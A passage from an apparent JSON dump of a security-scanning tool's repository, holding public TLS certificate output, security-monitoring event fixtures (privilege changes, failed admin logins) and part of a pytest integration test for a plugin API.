negotiated\nEarly data was not sent\nVerify return code: 10 (certificate has expired)\n---\n---\nCertificate chain\n 0 s:CN = mispo.es\n   i:C = US, O = Let's Encrypt, CN = R3\n-----BEGIN CERTIFICATE-----\nMIIFKjCCBBKgAwIBAgISBIEgUTAliVGEWSjvwigTdO8TMA0GCSqGSIb3DQEBCwUA\nMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQswCQYDVQQD\nEwJSMzAeFw0yMjExMTUwODUyNTdaFw0yMzAyMTMwODUyNTZaMBMxETAPBgNVBAMT\nCG1pc3BvLmVzMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoHAjzeGB\njt/YWunF+X50xzCgTh6Fs71+QWckk17j6jFVB9YdKGdnkQOYaBoZdqjFs2ojtWZI\neqrSPEzHfS4mk5XlYllgQomR966Ly2IrPQkzqHo9xqpaILxiJIXa7K2cUbL9rdpB\nil+7QtCCAWcmTBJItgdvj8r/jCNsUrrWp+Io4ojaVQs4VaYWcIbftSs5nnVtJ41/\ni6OgrfvNthRfGT9W3afNqrAzAkLsGI/Qa3KT9KPEikItuEpa2VZEYRPBUY+KlhfK\ndgCDBD1uIGAd8rlFwfMq65rRBPk8sYlT9eaBvoKde2oDI3oXfwv2lDUgts5i+hdk\nR9VFOqcrPp2VUQIDAQABo4ICVzCCAlMwDgYDVR0PAQH/BAQDAgWgMB0GA1UdJQQW\nMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBRd\nUBy7LJ4dkCYqDP4fDk1a+BTKwjAfBgNVHSMEGDAWgBQULrMXt1hWy65QCUDmH6+d\nixTCxjBVBggrBgEFBQcBAQRJMEcwIQYIKwYBBQUHMAGGFWh0dHA6Ly9yMy5vLmxl\nbmNyLm9yZzAiBggrBgEFBQcwAoYWaHR0cDovL3IzLmkubGVuY3Iub3JnLzAnBgNV\nHREEIDAegghtaXNwby5lc4ISdnVpbGUuc3RpbGxla2F0Lm5sMEwGA1UdIARFMEMw\nCAYGZ4EMAQIBMDcGCysGAQQBgt8TAQEBMCgwJgYIKwYBBQUHAgEWGmh0dHA6Ly9j\ncHMubGV0c2VuY3J5cHQub3JnMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHcAejKM\nVNi3LbYg6jjgUh7phBZwMhOFTTvSK8E6V6NS61IAAAGEerTBaQAABAMASDBGAiEA\npPIOE9cqiRsOXUGyFjDG6+WteI7U5e8ZEUFP5DvcPNACIQDWgqHT74Y8f13IM7bV\n74rXaLbIbTaLAlSzyqBOOScO0wB1AOg+0No+9QY1MudXKLyJa8kD08vREWvs62nh\nd31tBr1uAAABhHq0wcwAAAQDAEYwRAIgEvvznbl7HfU1FI9HThTz4OpJh5L+0YpQ\nSqeJw1TYcrUCIAjuTcePt5n9zAEzV0nKY3Knw+GJ40HS3fOjh3FXsa8BMA0GCSqG\nSIb3DQEBCwUAA4IBAQAR6t0xjTZ3djYvafy9iDAYnrbq76xcViq58mAgZxcQIZ0x\nLQyxKe44skPFaf9GgHJImqnL41twdZfvnidE4pIaYE5NIjbEA/lloMaMrzJ/f8ux\niC5doo1/r6wvRJqRmoIF4aC8y+WpTxogf01Ea4rV6rHMugBUfJLjx2gkxloMEguw\nRElnErM9aL36GQz0j8yY4FHppzkcRerjRe/p9OALu81nWxG0K+7Xp42JzylYXvCj\nidLA7MOqakHLt+O6Uf8DaJOIXdHYbhyijcqANzzG1jSixjHaBoM6inGVhJI+Mh5t\nqXe6YQpcZ1a7Hdns92sUt1d8/6dihdDd1vVxcVmP\n-----END CERTIFICATE-----\n 1 s:C = US, O = Let's Encrypt, CN = R3\n   i:C = US, O = Internet Security Research Group, CN = ISRG Root X1\n-----BEGIN CERTIFICATE-----\nMIIFFjCCAv6gAwIBAgIRAJErCErPDBinU/bWLiWnX1owDQYJKoZIhvcNAQELBQAw\nTzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh\ncmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjAwOTA0MDAwMDAw\nWhcNMjUwOTE1MTYwMDAwWjAyMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg\nRW5jcnlwdDELMAkGA1UEAxMCUjMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK\nAoIBAQC7AhUozPaglNMPEuyNVZLD+ILxmaZ6QoinXSaqtSu5xUyxr45r+XXIo9cP\nR5QUVTVXjJ6oojkZ9YI8QqlObvU7wy7bjcCwXPNZOOftz2nwWgsbvsCUJCWH+jdx\nsxPnHKzhm+/b5DtFUkWWqcFTzjTIUu61ru2P3mBw4qVUq7ZtDpelQDRrK9O8Zutm\nNHz6a4uPVymZ+DAXXbpyb/uBxa3Shlg9F8fnCbvxK/eG3MHacV3URuPMrSXBiLxg\nZ3Vms/EY96Jc5lP/Ooi2R6X/ExjqmAl3P51T+c8B5fWmcBcUr2Ok/5mzk53cU6cG\n/kiFHaFpriV1uxPMUgP17VGhi9sVAgMBAAGjggEIMIIBBDAOBgNVHQ8BAf8EBAMC\nAYYwHQYDVR0lBBYwFAYIKwYBBQUHAwIGCCsGAQUFBwMBMBIGA1UdEwEB/wQIMAYB\nAf8CAQAwHQYDVR0OBBYEFBQusxe3WFbLrlAJQOYfr52LFMLGMB8GA1UdIwQYMBaA\nFHm0WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcw\nAoYWaHR0cDovL3gxLmkubGVuY3Iub3JnLzAnBgNVHR8EIDAeMBygGqAYhhZodHRw\nOi8veDEuYy5sZW5jci5vcmcvMCIGA1UdIAQbMBkwCAYGZ4EMAQIBMA0GCysGAQQB\ngt8TAQEBMA0GCSqGSIb3DQEBCwUAA4ICAQCFyk5HPqP3hUSFvNVneLKYY611TR6W\nPTNlclQtgaDqw+34IL9fzLdwALduO/ZelN7kIJ+m74uyA+eitRY8kc607TkC53wl\nikfmZW4/RvTZ8M6UK+5UzhK8jCdLuMGYL6KvzXGRSgi3yLgjewQtCPkIVz6D2QQz\nCkcheAmCJ8MqyJu5zlzyZMjAvnnAT45tRAxekrsu94sQ4egdRCnbWSDtY7kh+BIm\nlJNXoB1lBMEKIq4QDUOXoRgffuDghje1WrG9ML+Hbisq/yFOGwXD9RiX8F6sw6W4\navAuvDszue5L3sz85K+EC4Y/wFVDNvZo4TYXao6Z0f+lQKc0t8DQYzk1OXVu8rp2\nyJMC6alLbBfODALZvYH7n7do1AZls4I9d1P4jnkDrQoxB3UqQ9hVl3LEKQ73xF1O\nyK5GhDDX8oVfGKF5u+decIsH4YaTw7mP3GFxJSqv3+0lUFJoi5Lc5da149p90Ids\nhCExroL1+7mryIkXPeFM5TgO9r0rvZaBFOvV2z0gp35Z0+L4WPlbuEjN/lxPFin+\nHlUjr8gRsI3qfJOQFy/9rKIJR0Y/8Omwt/8oTWgy1mdeHmmjk7j1nYsvC9JSQ6Zv\nMldlTTKB3zhThV1+XWYp6rjd5JW1zbVWEkLNxE7GJThEUG3szgBVGP7pSWTUTsqX\nnLRbwHOoq7hHwg==\n-----END CERTIFICATE-----\n 2 s:C = US, O = Internet Security Research Group, CN = ISRG Root X1\n   i:O = Digital Signature Trust Co., CN = DST Root CA X3\n-----BEGIN CERTIFICATE-----\nMIIFYDCCBEigAwIBAgIQQAF3ITfU6UK47naqPGQKtzANBgkqhkiG9w0BAQsFADA/\nMSQwIgYDVQQKExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMT\nDkRTVCBSb290IENBIFgzMB4XDTIxMDEyMDE5MTQwM1oXDTI0MDkzMDE4MTQwM1ow\nTzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh\ncmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwggIiMA0GCSqGSIb3DQEB\nAQUAA4ICDwAwggIKAoICAQCt6CRz9BQ385ueK1coHIe+3LffOJCMbjzmV6B493XC\nov71am72AE8o295ohmxEk7axY/0UEmu/H9LqMZshftEzPLpI9d1537O4/xLxIZpL\nwYqGcWlKZmZsj348cL+tKSIG8+TA5oCu4kuPt5l+lAOf00eXfJlII1PoOK5PCm+D\nLtFJV4yAdLbaL9A4jXsDcCEbdfIwPPqPrt3aY6vrFk/CjhFLfs8L6P+1dy70sntK\n4EwSJQxwjQMpoOFTJOwT2e4ZvxCzSow/iaNhUd6shweU9GNx7C7ib1uYgeGJXDR5\nbHbvO5BieebbpJovJsXQEOEO3tkQjhb7t/eo98flAgeYjzYIlefiN5YNNnWe+w5y\nsR2bvAP5SQXYgd0FtCrWQemsAXaVCg/Y39W9Eh81LygXbNKYwagJZHduRze6zqxZ\nXmidf3LWicUGQSk+WT7dJvUkyRGnWqNMQB9GoZm1pzpRboY7nn1ypxIFeFntPlF4\nFQsDj43QLwWyPntKHEtzBRL8xurgUBN8Q5N0s8p0544fAQjQMNRbcTa0B7rBMDBc\nSLeCO5imfWCKoqMpgsy6vYMEG6KDA0Gh1gXxG8K28Kh8hjtGqEgqiNx2mna/H2ql\nPRmP6zjzZN7IKw0KKP/32+IVQtQi0Cdd4Xn+GOdwiK1O5tmLOsbdJ1Fu/7xk9TND\nTwIDAQABo4IBRjCCAUIwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYw\nSwYIKwYBBQUHAQEEPzA9MDsGCCsGAQUFBzAChi9odHRwOi8vYXBwcy5pZGVudHJ1\nc3QuY29tL3Jvb3RzL2RzdHJvb3RjYXgzLnA3YzAfBgNVHSMEGDAWgBTEp7Gkeyxx\n+tvhS5B1/8QVYIWJEDBUBgNVHSAETTBLMAgGBmeBDAECATA/BgsrBgEEAYLfEwEB\nATAwMC4GCCsGAQUFBwIBFiJodHRwOi8vY3BzLnJvb3QteDEubGV0c2VuY3J5cHQu\nb3JnMDwGA1UdHwQ1MDMwMaAvoC2GK2h0dHA6Ly9jcmwuaWRlbnRydXN0LmNvbS9E\nU1RST09UQ0FYM0NSTC5jcmwwHQYDVR0OBBYEFHm0WeZ7tuXkAXOACIjIGlj26Ztu\nMA0GCSqGSIb3DQEBCwUAA4IBAQAKcwBslm7/DlLQrt2M51oGrS+o44+/yQoDFVDC\n5WxCu2+b9LRPwkSICHXM6webFGJueN7sJ7o5XPWioW5WlHAQU7G75K/QosMrAdSW\n9MUgNTP52GE24HGNtLi1qoJFlcDyqSMo59ahy2cI2qBDLKobkx/J3vWraV0T9VuG\nWCLKTVXkcGdtwlfFRjlBz4pYg1htmf5X6DYO8A4jqv2Il9DjXA6USbW1FzXSLr9O\nhe8Y4IWS6wY7bCkjCWDcRQJMEhg76fsO3txE+FiYruq9RUWhiF1myv4Q6W+CyBFC\nDfvp7OOGAN6dEOM4+qR9sdjoSYKEBpsr6GtPAQw4dy753ec5\n-----END CERTIFICATE-----\n---\nServer certificate\nsubject=CN = mispo.es\n\nissuer=C = US, O = Let's Encrypt, CN = R3\n\n---\nNo client certificate CA names sent\nPeer signing digest: SHA256\nPeer signature type: RSA-PSS\nServer Temp Key: X25519, 253 bits\n---\nSSL handshake has read 4740 bytes and written 414 bytes\nVerification error: certificate has expired\n---\nNew, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384\nServer public key is 2048 bit\nSecure Renegotiation IS NOT supported\nNo ALPN negotiated\nEarly data was not sent\nVerify return code: 10 (certificate has expired)\n---\n"
  },
  {
    "path": "boefjes/tests/examples/user-changed.json",
    "content": "[\n  {\n    \"log_count\": 9.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_routing_key\": \"test_app.account_change\",\n    \"window_emit\": 1655978930000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655979300000\",\n    \"window_start\": 1655975700000.0,\n    \"log_action_code\": \"U\",\n    \"eventTitle\": \"UC: User privilege monitoring\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62b43a6e69c14474a3773f8b\",\n    \"window_end\": 1655979300000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655979300000\",\n    \"outbox_sent\": null\n  },\n  {\n    \"log_count\": 16.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_routing_key\": \"test_app.account_change\",\n    \"window_emit\": 1655981491000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655982000000\",\n    \"window_start\": 1655978400000.0,\n    \"log_action_code\": \"U\",\n    \"eventTitle\": \"UC: User privilege monitoring\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62b43a6e69c14474a3773f8e\",\n    \"window_end\": 1655982000000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655982000000\",\n    \"outbox_sent\": null\n  },\n  {\n    \"log_count\": 7.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_routing_key\": \"test_app.account_change\",\n    \"window_emit\": 1655981491000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655982900000\",\n    \"window_start\": 1655979300000.0,\n    \"log_action_code\": \"U\",\n    \"eventTitle\": \"UC: User privilege monitoring\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62b445a869c14474a37747f4\",\n    \"window_end\": 1655982900000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1655982900000\",\n    \"outbox_sent\": null\n  },\n  {\n    \"log_count\": 4.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_routing_key\": \"test_app.account_change\",\n    \"window_emit\": 1658822215000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1658825100000\",\n    \"window_start\": 1658821500000.0,\n    \"log_action_code\": \"U\",\n    \"eventTitle\": \"UC: User privilege monitoring\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62df9e499dd2b029d842576d\",\n    \"window_end\": 1658825100000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1658825100000\",\n    \"outbox_sent\": null\n  }\n]\n"
  },
  {
    "path": "boefjes/tests/examples/user-login-admin-failure.json",
    "content": "[\n  {\n    \"log_count\": 3.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_object_result\": 0.0,\n    \"log_routing_key\": \"test_app.user_login\",\n    \"window_emit\": 1659618378000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1659618600000\",\n    \"window_start\": 1659617700000.0,\n    \"log_action_code\": \"E\",\n    \"eventTitle\": \"UC: Detect brute force login attempts for an admin account\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62ebc44c9dd2b029d84ac32a\",\n    \"window_end\": 1659618600000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"log_user_roles\": \"ADMIN,REGISTRATOR,SHIFT_MANAGER,CSV,KVTB_ADMIN,STATS\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1659618600000\",\n    \"outbox_sent\": true\n  },\n  {\n    \"log_count\": 4.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_object_result\": 0.0,\n    \"log_routing_key\": \"test_app.user_login\",\n    \"window_emit\": 1659618755000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1659618900000\",\n    \"window_start\": 1659618000000.0,\n    \"log_action_code\": \"E\",\n    \"eventTitle\": \"UC: Detect brute force login attempts for an admin account\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62ebc44c9dd2b029d84ac32b\",\n    \"window_end\": 1659618900000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"log_user_roles\": \"ADMIN,REGISTRATOR,SHIFT_MANAGER,CSV,KVTB_ADMIN,STATS\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1659618900000\",\n    \"outbox_sent\": true\n  },\n  {\n    \"log_count\": 13.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_object_result\": 0.0,\n    \"log_routing_key\": \"test_app.user_login\",\n    \"window_emit\": 1659618880000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1659618900000\",\n    \"window_start\": 1659618000000.0,\n    \"log_action_code\": \"E\",\n    \"eventTitle\": \"UC: Detect brute force login attempts for an admin account\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62ebc60e9dd2b029d84ac788\",\n    \"window_end\": 1659618900000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"log_user_roles\": \"ADMIN,UNOMI,KVTB_REGISTRATOR,KVTB_SUPERVISOR,KVTB_ADMIN\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1659618900000\",\n    \"outbox_sent\": true\n  },\n  {\n    \"log_count\": 3.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_object_result\": 0.0,\n    \"log_routing_key\": \"test_app.user_login\",\n    \"window_emit\": 1659709763000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1659709800000\",\n    \"window_start\": 1659708900000.0,\n    \"log_action_code\": \"E\",\n    \"eventTitle\": \"UC: Detect brute force login attempts for an admin account\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62ed29459dd2b029d84cb905\",\n    \"window_end\": 1659709800000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"log_user_roles\": \"ADMIN,UNOMI,KVTB_REGISTRATOR,KVTB_SUPERVISOR,KVTB_ADMIN\",\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1659709800000\",\n    \"outbox_sent\": true\n  }\n]\n"
  },
  {
    "path": "boefjes/tests/examples/user-login-failure.json",
    "content": "[\n  {\n    \"log_count\": 10.0,\n    \"log_object_user_id\": null,\n    \"eventType\": \"ksql-usecase\",\n    \"log_object_result\": 0.0,\n    \"log_routing_key\": \"test_app.user_login\",\n    \"window_emit\": 1658998093000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1658998200000\",\n    \"window_start\": 1658996400000.0,\n    \"log_action_code\": \"E\",\n    \"eventTitle\": \"UC: Detects attempts to guess passwords\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62e24d509dd2b029d84391fb\",\n    \"window_end\": 1658998200000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"log_result\": null,\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1658998200000\",\n    \"outbox_sent\": null\n  },\n  {\n    \"log_count\": 17.0,\n    \"log_object_user_id\": null,\n    \"eventType\": \"ksql-usecase\",\n    \"log_object_result\": 0.0,\n    \"log_routing_key\": \"test_app.user_login\",\n    \"window_emit\": 1658998524000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1658998800000\",\n    \"window_start\": 1658997000000.0,\n    \"log_action_code\": \"E\",\n    \"eventTitle\": \"UC: Detects attempts to guess passwords\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62e24d509dd2b029d84391fc\",\n    \"window_end\": 1658998800000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"log_result\": null,\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1658998800000\",\n    \"outbox_sent\": null\n  },\n  {\n    \"log_count\": 11.0,\n    \"log_object_user_id\": null,\n    \"eventType\": \"ksql-usecase\",\n    \"log_object_result\": 0.0,\n    \"log_routing_key\": \"test_app.user_login\",\n    \"window_emit\": 1658998524000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1658999400000\",\n    \"window_start\": 1658997600000.0,\n    \"log_action_code\": \"E\",\n    \"eventTitle\": \"UC: Detects attempts to guess passwords\",\n    \"log_user_user_id\": 1234.0,\n    \"_id\": \"62e24efc9dd2b029d8439505\",\n    \"window_end\": 1658999400000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"log_result\": null,\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_user_user_id\\\":1234}-1658999400000\",\n    \"outbox_sent\": null\n  },\n  {\n    \"log_count\": 10.0,\n    \"log_object_user_id\": 1234.0,\n    \"eventType\": \"ksql-usecase\",\n    \"log_object_result\": null,\n    \"log_routing_key\": \"test_app.user_login\",\n    \"window_emit\": 1660827838000.0,\n    \"windowKey\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_object_user_id\\\":1234}-1660828800000\",\n    \"window_start\": 1660827000000.0,\n    \"log_action_code\": \"E\",\n    \"eventTitle\": \"UC: Detects attempts to guess passwords\",\n    \"log_user_user_id\": null,\n    \"_id\": \"62fe38bfe2827b33a8e2ecb4\",\n    \"window_end\": 1660828800000.0,\n    \"client_environment_app\": \"organisation/env/app\",\n    \"severity\": \"MEDIUM\",\n    \"log_result\": 0.0,\n    \"eventId\": \"{\\\"client_environment_app\\\":\\\"organisation/env/app\\\",\\\"log_object_user_id\\\":1234}-1660828800000\",\n    \"outbox_sent\": true\n  }\n]\n"
  },
  {
    "path": "boefjes/tests/examples/webpage-analysis.json",
    "content": "{\n  \"id\": \"ff371988-3795-4df4-a31a-146f22258710\",\n  \"boefje\": {\n    \"id\": \"webpage-analysis\"\n  },\n  \"organization\": \"_dev\",\n  \"input_ooi\": \"HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/\",\n  \"arguments\": {\n    \"input\": {\n      \"object_type\": \"HTTPResource\",\n      \"scan_profile\": \"reference=Reference('HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/') level=4 scan_profile_type='inherited'\",\n      \"primary_key\": \"HTTPResource|internet|134.209.85.72|tcp|443|https|internet|mispo.es|https|internet|mispo.es|443|/\",\n      \"website\": {\n        \"ip_service\": {\n          \"ip_port\": {\n            \"address\": {\n              \"network\": {\n                \"name\": \"internet\"\n              },\n              \"address\": \"134.209.85.72\"\n            },\n            \"protocol\": \"tcp\",\n            \"port\": \"443\"\n          },\n          \"service\": {\n            \"name\": \"https\"\n          }\n        },\n        \"hostname\": {\n          \"network\": {\n            \"name\": \"internet\"\n          },\n          \"name\": \"mispo.es\"\n        }\n      },\n      \"web_url\": {\n        \"scheme\": \"https\",\n        \"netloc\": {\n          \"network\": {\n            \"name\": \"internet\"\n          },\n          \"name\": \"mispo.es\"\n        },\n        \"port\": \"443\",\n        \"path\": \"/\"\n      },\n      \"redirects_to\": \"None\"\n    }\n  }\n}\n"
  },
  {
    "path": "boefjes/tests/integration/__init__.py",
    "content": ""
  },
  {
    "path": "boefjes/tests/integration/test_api.py",
    "content": "import os\n\nimport pytest\n\nfrom boefjes.worker.models import Boefje, Normalizer, Organisation\n\npytestmark = pytest.mark.skipif(os.environ.get(\"CI\") != \"1\", reason=\"Needs a CI database.\")\n\n\ndef test_get_local_plugin(test_client, organisation):\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/dns-records\")\n    assert response.status_code == 200\n    data = response.json()\n\n    assert data[\"id\"] == \"dns-records\"\n\n\ndef test_create_org(test_client):\n    response = test_client.post(\"/v1/organisations/\", json={\"id\": \"test2\", \"name\": \"test2\"})\n    assert response.status_code == 201\n\n    assert test_client.get(\"/v1/organisations/test2/\").json() == {\"id\": \"test2\", \"name\": \"test2\", \"deduplicate\": True}\n\n\ndef test_filter_plugins(test_client, organisation):\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins\")\n    assert len(response.json()) >= 100\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins\", params={\"plugin_type\": \"boefje\"})\n    assert len(response.json()) > 10\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins\", params={\"state\": \"true\"})\n    assert len(response.json()) > 10\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins\", params={\"limit\": 10})\n    assert len(response.json()) == 10\n\n    # Test \"consumes\" and \"produces\" filters\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins\", params={\"consumes\": \"ADRFindingType\"})\n    assert len(response.json()) == 1\n    assert response.json()[0][\"id\"] == \"adr-finding-types\"\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins\", params={\"produces\": \"Finding\"})\n    assert len(response.json()) == 27\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins\", params={\"consumes\": \"boefje/censys\"})\n    assert len(response.json()) == 1\n    response = test_client.get(\n        f\"/v1/organisations/{organisation.id}/plugins\", params={\"consumes\": [\"ADRFindingType\", \"Hostname\"]}\n    )\n    assert len(response.json()) == 8\n\n    response = test_client.get(\n        f\"/v1/organisations/{organisation.id}/plugins\",\n        params={\"oci_image\": \"docker.underdark.nl/librekat/openkat-nmap:latest\"},\n    )\n    assert {x[\"id\"] for x in response.json()} == {\"nmap\", \"nmap-ip-range\", \"nmap-udp\", \"nmap-ports\"}\n\n    boefje = Boefje(\n        id=\"test_plugin\",\n        name=\"My test boefje\",\n        static=False,\n        oci_image=\"docker.underdark.nl/librekat/openkat-nmap:latest\",\n    )\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n    assert response.status_code == 201\n\n    response = test_client.get(\n        f\"/v1/organisations/{organisation.id}/plugins\",\n        params={\"oci_image\": \"docker.underdark.nl/librekat/openkat-nmap:latest\"},\n    )\n    assert {x[\"id\"] for x in response.json()} == {\"nmap\", \"nmap-ip-range\", \"nmap-udp\", \"nmap-ports\", \"test_plugin\"}\n\n\ndef test_cannot_add_plugin_reserved_id(test_client, organisation):\n    boefje = Boefje(id=\"dns-records\", name=\"My test boefje\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n    assert response.status_code == 400\n    assert response.json() == {\"detail\": \"Duplicate plugin: a plugin with this id already exists\"}\n\n    normalizer = Normalizer(id=\"kat_nmap_normalize\", name=\"My test normalizer\")\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=normalizer.model_dump(mode=\"json\"))\n    assert response.status_code == 400\n    assert response.json() == {\"detail\": \"Duplicate plugin: a plugin with this id already exists\"}\n\n\ndef test_add_boefje(test_client, organisation):\n    boefje = Boefje(id=\"test_plugin\", name=\"My test boefje\", static=False)\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json=boefje.model_dump(mode=\"json\"))\n    assert response.status_code == 201\n\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", json={\"a\": \"b\"})\n    assert response.status_code == 422\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/?plugin_type=boefje\")\n    assert len(response.json()) > 10\n\n    boefje_dict = boefje.model_dump(mode=\"json\")\n    boefje_dict[\"consumes\"] = list(boefje_dict[\"consumes\"])\n    boefje_dict[\"produces\"] = list(boefje_dict[\"produces\"])\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/test_plugin\")\n    assert response.json() == boefje_dict\n\n\ndef test_enable_boefje(test_client, organisation, second_organisation):\n    test_client.patch(f\"/v1/organisations/{organisation.id}/plugins/dns-records\", json={\"enabled\": True})\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/dns-records\")\n    assert response.json()[\"enabled\"] is True\n\n    response = test_client.get(f\"/v1/organisations/{second_organisation.id}/plugins/dns-records\")\n    assert response.json()[\"enabled\"] is False\n\n\ndef test_run_on(test_client, organisation, second_organisation):\n    test_client.patch(f\"/v1/organisations/{organisation.id}/plugins/export-to-http-api\", json={\"enabled\": True})\n\n    response = test_client.get(f\"/v1/organisations/{organisation.id}/plugins/export-to-http-api\")\n    assert response.json()[\"enabled\"] is True\n    assert response.json()[\"run_on\"] == [\"create\", \"update\"]\n\n    boefje = Boefje(id=\"test_run_on\", name=\"Run On\", static=False, run_on=[\"create\"])\n    response = test_client.post(f\"/v1/organisations/{organisation.id}/plugins\", 